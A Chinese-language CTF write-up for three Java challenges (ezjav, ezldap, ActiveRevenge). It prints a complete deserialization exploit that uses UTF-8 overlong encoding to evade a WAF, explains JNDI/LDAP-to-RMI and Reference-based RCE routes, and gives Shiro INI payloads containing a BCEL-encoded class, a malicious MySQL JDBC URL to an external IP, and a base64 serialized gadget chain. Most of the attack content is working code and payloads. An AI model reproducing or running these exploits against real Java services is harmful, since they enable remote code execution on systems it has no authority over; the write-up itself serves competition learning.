感觉很久没看java题了,都已经发展到jdk17的各种题目了,菜狗赶紧偷学。
ezjav
这题两处waf,一处是流量waf直接用UTF-8 Overlong Encoding导致的安全问题绕过即可,还有一处就是反序列化的黑名单,因为有rome依赖,所以把常用的rome反序列化链都ban了,rome反序列化参考。

还存在jackson,fastjson依赖,所以当然还有很多能用的类,比如
### EventListenerList#readObject -> toString -> ### POJONode#toString -> getter
### EventListenerList#readObject -> toString -> ### JSONArray#toString -> getter
### HashMap#readObject -> HotSwappableTargetSource#equals -> XString#equals -> ### JSONArray#toString -> getter
贴一下第一种利用方式,
package com.xiinnn.exp;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.xiinnn.template.ToStringClass;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.Vector;
import java.util.HashMap;
public class exp1 {
public static void main(String[] args) throws Exception{
byte[] code = getTemplates();
byte[][] codes = {code};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "useless");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", codes);
// 删除 BaseJsonNode#writeReplace 方法用于顺利序列化
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();
POJONode node = new POJONode(makeTemplatesImplAopProxy(templates));
// node.toString();
// ToStringClass toStringClass = new ToStringClass();
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(node);
setFieldValue(list, "listenerList", new Object[]{InternalError.class, manager});
byte[] code2 = serialize(list);
System.out.println(new String(Base64.getEncoder().encode(code2)));
unserialize(code2);
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception{
Field field = null;
Class c = obj.getClass();
for (int i = 0; i < 5; i++) {
try {
field = c.getDeclaredField(fieldName);
} catch (NoSuchFieldException e){
c = c.getSuperclass();
}
}
field.setAccessible(true);
return field.get(obj);
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
UTF8OverlongObjectOutputStream oos = new UTF8OverlongObjectOutputStream(baos);
oos.writeObject(obj);
return baos.toByteArray();
}
public static void unserialize(byte[] code) throws Exception{
ByteArrayInputStream bais = new ByteArrayInputStream(code);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}
public static byte[] getTemplates() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("MyTemplate");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"open -a Calculator\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
static class UTF8OverlongObjectOutputStream extends ObjectOutputStream {
public HashMap<Character, int[]> map = new HashMap<Character, int[]>() {{
put('.', new int[]{0xc0, 0xae});
put(';', new int[]{0xc0, 0xbb});
put('$', new int[]{0xc0, 0xa4});
put('[', new int[]{0xc1, 0x9b});
put(']', new int[]{0xc1, 0x9d});
put('a', new int[]{0xc1, 0xa1});
put('b', new int[]{0xc1, 0xa2});
put('c', new int[]{0xc1, 0xa3});
put('d', new int[]{0xc1, 0xa4});
put('e', new int[]{0xc1, 0xa5});
put('f', new int[]{0xc1, 0xa6});
put('g', new int[]{0xc1, 0xa7});
put('h', new int[]{0xc1, 0xa8});
put('i', new int[]{0xc1, 0xa9});
put('j', new int[]{0xc1, 0xaa});
put('k', new int[]{0xc1, 0xab});
put('l', new int[]{0xc1, 0xac});
put('m', new int[]{0xc1, 0xad});
put('n', new int[]{0xc1, 0xae});
put('o', new int[]{0xc1, 0xaf}); // 0x6f
put('p', new int[]{0xc1, 0xb0});
put('q', new int[]{0xc1, 0xb1});
put('r', new int[]{0xc1, 0xb2});
put('s', new int[]{0xc1, 0xb3});
put('t', new int[]{0xc1, 0xb4});
put('u', new int[]{0xc1, 0xb5});
put('v', new int[]{0xc1, 0xb6});
put('w', new int[]{0xc1, 0xb7});
put('x', new int[]{0xc1, 0xb8});
put('y', new int[]{0xc1, 0xb9});
put('z', new int[]{0xc1, 0xba});
put('A', new int[]{0xc1, 0x81});
put('B', new int[]{0xc1, 0x82});
put('C', new int[]{0xc1, 0x83});
put('D', new int[]{0xc1, 0x84});
put('E', new int[]{0xc1, 0x85});
put('F', new int[]{0xc1, 0x86});
put('G', new int[]{0xc1, 0x87});
put('H', new int[]{0xc1, 0x88});
put('I', new int[]{0xc1, 0x89});
put('J', new int[]{0xc1, 0x8a});
put('K', new int[]{0xc1, 0x8b});
put('L', new int[]{0xc1, 0x8c});
put('M', new int[]{0xc1, 0x8d});
put('N', new int[]{0xc1, 0x8e});
put('O', new int[]{0xc1, 0x8f});
put('P', new int[]{0xc1, 0x90});
put('Q', new int[]{0xc1, 0x91});
put('R', new int[]{0xc1, 0x92});
put('S', new int[]{0xc1, 0x93});
put('T', new int[]{0xc1, 0x94});
put('U', new int[]{0xc1, 0x95});
put('V', new int[]{0xc1, 0x96});
put('W', new int[]{0xc1, 0x97});
put('X', new int[]{0xc1, 0x98});
put('Y', new int[]{0xc1, 0x99});
put('Z', new int[]{0xc1, 0x9a});
}};
public UTF8OverlongObjectOutputStream(OutputStream out) throws IOException {
super(out);
}
@Override
protected void writeClassDescriptor(ObjectStreamClass desc) {
try {
String name = desc.getName();
// writeUTF(desc.getName());
writeShort(name.length() * 2);
for (int i = 0; i < name.length(); i++) {
char s = name.charAt(i);
// System.out.println(s);
write(map.get(s)[0]);
write(map.get(s)[1]);
}
writeLong(desc.getSerialVersionUID());
byte flags = 0;
if ((Boolean) getFieldValue(desc, "externalizable")) {
flags |= ObjectStreamConstants.SC_EXTERNALIZABLE;
Field protocolField = ObjectOutputStream.class.getDeclaredField("protocol");
protocolField.setAccessible(true);
int protocol = (Integer) protocolField.get(this);
if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) {
flags |= ObjectStreamConstants.SC_BLOCK_DATA;
}
} else if ((Boolean) getFieldValue(desc, "serializable")) {
flags |= ObjectStreamConstants.SC_SERIALIZABLE;
}
if ((Boolean) getFieldValue(desc, "hasWriteObjectData")) {
flags |= ObjectStreamConstants.SC_WRITE_METHOD;
}
if ((Boolean) getFieldValue(desc, "isEnum")) {
flags |= ObjectStreamConstants.SC_ENUM;
}
writeByte(flags);
ObjectStreamField[] fields = (ObjectStreamField[]) getFieldValue(desc, "fields");
writeShort(fields.length);
for (int i = 0; i < fields.length; i++) {
ObjectStreamField f = fields[i];
writeByte(f.getTypeCode());
writeUTF(f.getName());
if (!f.isPrimitive()) {
Method writeTypeString = ObjectOutputStream.class.getDeclaredMethod("writeTypeString", String.class);
writeTypeString.setAccessible(true);
writeTypeString.invoke(this, f.getTypeString());
// writeTypeString(f.getTypeString());
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
}ezldap
两种解法,一种从利用javaRemoteLocation从ldap转向rmi,一种通过 LDAP 相关参数直接返回 Reference 对象。
解法1
先了解一下ldap的过程吧,从com.sun.jndi.ldap.LdapCtx#c_lookup开始调试,在doSearchOnce获取到ldapserver的信息。

然后的操作就是把这个attrs拿出来,进行第一个判断,这里必须attrs有javaClassName的键值才能进行decodeObject,由于这里端回传的反序列化链子所有事塞进了javaClassName的。

然后会获取JAVA_ATTRIBUTES[SERIALIZED_DATA],也就是javaSerializedData,但由于这里不允许反序列化数据即trustSerialData是false,所以会报错,但是jdk17 默认 com.sun.jndi.ldap.object.trustSerialData 为 true ,只是这道题将它设置成了false。在 jdk20+ 版本中 com.sun.jndi.ldap.object.trustSerialData 默认为 false 。

所以decodeObject这条路是走不通了,但在decodeObject中还有一些别的处理方式。如果attrs 有 javaRemoteLocation 会调用 decodeRmiObject,除此之外, 下面也还有一条路会调用到 decodeReference 方法。

通过REMOTE_LOC这条路即是第一种解法,将ldap转为rmi,这里改一下ldapserver,塞进一个javaRemoteLocation
e.addAttribute("javaRemoteLocation", "rmi://"+Config.ip+":"+Config.rmiPort+Config.url);

在decodeRmiObject中直接创建了Reference,

那么直接定位到getObjectInstance函数看后续过程。

在getObjectInstance中,前面会尝试获取ObjectFactory对象,但这里显然找不到,我们只传了一个rmi url,所以如果 Reference 对象中没有工厂类名,这里则尝试从 URL 地址中获取对象实例。

继续跟进processUrl函数

这里获取到了scheme即rmi协议,url的值

在getURLObject中获取URL 对象工厂的工厂类rmiURLContextFactory,然后调用factory.getObjectInstance尝试实例化对象

最终在getUsingURL中通过lookup进行rmi请求,到此我们把ldap注入转换到了rmi注入,后续只需要在rmi server上利用tomcatJdbc即可打高版本jdk jndi,可参考浅蓝师傅文章https://tttang.com/archive/1405/#toc_tomcat-jdbc

这里改动一下JNDIMap即可,

解法2
第二种解法当然就是最后一条路了,在decodeReference函数处理中,
先在ldapserver 中塞进e.addAttribute("objectClass","javaNamingReference");,开始调试。在decodeReference中先是获取到了attr的类名和工厂类名,然后实例化一个Reference对象。

因为远程有 tomcat-jdbc直接org.apache.tomcat.jdbc.pool.DataSourceFactory ,服务端长这样。

实例化Reference对象后,会继续处理javaReferenceAddress数据,这是最后调用h2 connect 时获取参数的地方。
首先会将一个字符作为分割符,例如这里就是/,然后sep是第二个字符的位置,所以posnStr = val.substring(start, sep)获取到的是0,其实可以把posnStr看作是一个索引,这里第一个要处理的值为/0/url/jdbc:h2:mem:testdb,posnStr就是0。

然后继续提取type,跟上面一样按照/作为分割符,这里的type就是url

最后就是content,获取方法同理,最终在这里将处理完的type,content,posn索引放到refAddrList

最后把 refAddrList 复制到 ref 中

最终定位到 c_lookup 最后的 DirectoryManager.getObjectInstance 方法。 obj 就是刚刚实例化的Reference对象

可以看到,最终在DataSourceFactory#getObjectInstance()函数中,就是从ref中获取参数的,到这就能打h2 rce了。

当然这种方法在JNDImap中已经集成了,

ActiveRevenge
搁了一段时间,需要用codeql或者tabby寻找链子。
git clone https://github.com/apache/activemq
git checkout 9cbf58d7bd420424004ae73659527747f9135676
codeql database create activemq-5.18.2-db --language="java" --command="mvn clean install -Dmaven.test.skip=true --file pom.xml" --source-root=activemq
最终用的是org.apache.activemq.shiro.env.IniEnvironment
public IniEnvironment(String iniConfig) {
Ini ini = new Ini();
ini.load(iniConfig);
this.ini = ini;
init();
}
通过org.apache.shiro.config.Ini来实例化一个ini配置并进行初始化
@Override
public void init() throws ShiroException {
//this.environment and this.securityManager are null. Try Ini config:
Ini ini = this.ini;
if (ini != null) {
apply(ini);
}
if (this.objects.isEmpty() && this.iniConfig != null) {
ini = new Ini();
ini.load(this.iniConfig);
apply(ini);
}
...
}
protected void apply(Ini ini) {
if (ini != null && !ini.isEmpty()) {
Map<String, ?> objects = createObjects(ini);
this.ini = ini;
this.objects.clear();
this.objects.putAll(objects);
}
}
private Map<String, ?> createObjects(Ini ini) {
IniSecurityManagerFactory factory = new IniSecurityManagerFactory(ini) {
@Override
protected SecurityManager createDefaultInstance() {
return new DefaultActiveMqSecurityManager();
}
@Override
protected Realm createRealm(Ini ini) {
IniRealm realm = (IniRealm)super.createRealm(ini);
realm.setPermissionResolver(new ActiveMQPermissionResolver());
return realm;
}
};
factory.getInstance(); //trigger beans creation
return factory.getBeans();
}
参考CTFCON中分享的几个思路。
[main]
bds = org.apache.commons.dbcp2.BasicDataSource
bds.driverClassLoader = com.sun.org.apache.bcel.internal.util.ClassLoader
bds.driverClassName = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMo$d3$40$Q$7d$9b$a4q$ec$3a$e4$a3$cd$H$e5$a3$a4$z$8d$d3$D$bepK$c4$F$b5R$85$a1$88T$a9zt$96m$b2$c1$b1$pg$d3$e6$lq$ce$F$QH$ed$9d$l$85$985Q$I$w$96$3c$b3$f3$e6$cd$9b$e7$f5$cf_$dfo$B$bc$84c$c1D$dd$c2C$ec$e4$f0H$e7$c7$G$9e$Yxj$n$8b$5d$D$cf$M4$Y$b2$j$ZJ$f5$8a$n$ed$b4z$M$99$d7$d1G$c1P$f0d$u$de$cd$c6$7d$R$9f$fb$fd$80$90$b2$Xq$3f$e8$f9$b1$d4$f5$S$cc$a8$a1$9cj6$8f$c6$eeh6U$ee$f1$b5$M$da$M$b9$O$P$96$ba$8cx$Vo$e4_$fb$ae$8c$dc$d3$b3$e39$X$T$r$a3$90h$f9$ae$f2$f9$a7$b7$fe$q$d1$pw$MV7$9a$c5$5c$9cH$adoj$b9$Xz$d6$86$85M$D$7b6$f6q$40$8b$c9$L$b7$f1$i$87$M$5b$ff$d1f$d8I$d0$c0$P$H$ee$87Y$a8$e4X$ac$9aZ$abI$cb$ff1$cdP$fc$3bq$d6$l$J$ae$YJ$f7D$c8$e0$40$a8UQqZ$de$3d$O$7dXF$cc$Fgh$3ak$dd$ae$8ae8h$af$P$bc$8f$p$$$a6S$g$a8$af3$cf$87qt$a3o$a4$dd$ea$a1$81$i$fdG$fd$a4$c0$f4$zP$b4$a9r$v3$ca$hG_$c1$WI$3bO1$fb$H$c4$D$8a$f6$f2$5c$40$91r$O$a5$d5$f0$V$d2I$af$f6$N$a9r$fa$L2$X$9f$91$7f$f3$D$d9KR3$ee$WI$d3$q$ea$G$R$b5l$95NH$9cl$Sj$Sf$Rf$af$d6$e4$J$xc$8b$aamz$N$a4$3c$D$V$93$g$d5$c4Y$ed7f9$e8t$96$C$A$A"
bds.connection.a = a
[main]
datasource=org.apache.commons.dbcp2.BasicDataSource
datasource.url=jdbc:mysql://47.113.104.49:3306/db1
datasource.password=x
datasource.username=x
datasource.driverClassName=com.mysql.cj.jdbc.Driver
datasource.connection.x=x
[main]
bs = org.apache.activemq.util.ByteSequence
message = org.apache.activemq.command.ActiveMQObjectMessage
bs.data = rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAAAAAAAdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAAa/K/rq+AAAANAAcAQADQ2F0BwAWAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBAAhDYXQuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BAARjYWxjCAAQAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEgATCgALABQBABZFdmlsQ2F0Nzg2OTg3Nzc2NjY3MzAwAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAFwEABjxpbml0PgwAGQAICgAYABoAIQACABgAAAAAAAIACAAHAAgAAQAJAAAAFgACAAAAAAAKuAAPEhG2ABVXsQAAAAAAAQAZAAgAAQAJAAAAEQABAAEAAAAFKrcAG7EAAAAAAAEABQAAAAIABnB0AAZBbmNob3JwdwEAeHEAfgANeA==
bs.length = 1376
bs.offset = 0
message.content = $bs
message.trustAllPackages = true
message.object.x = x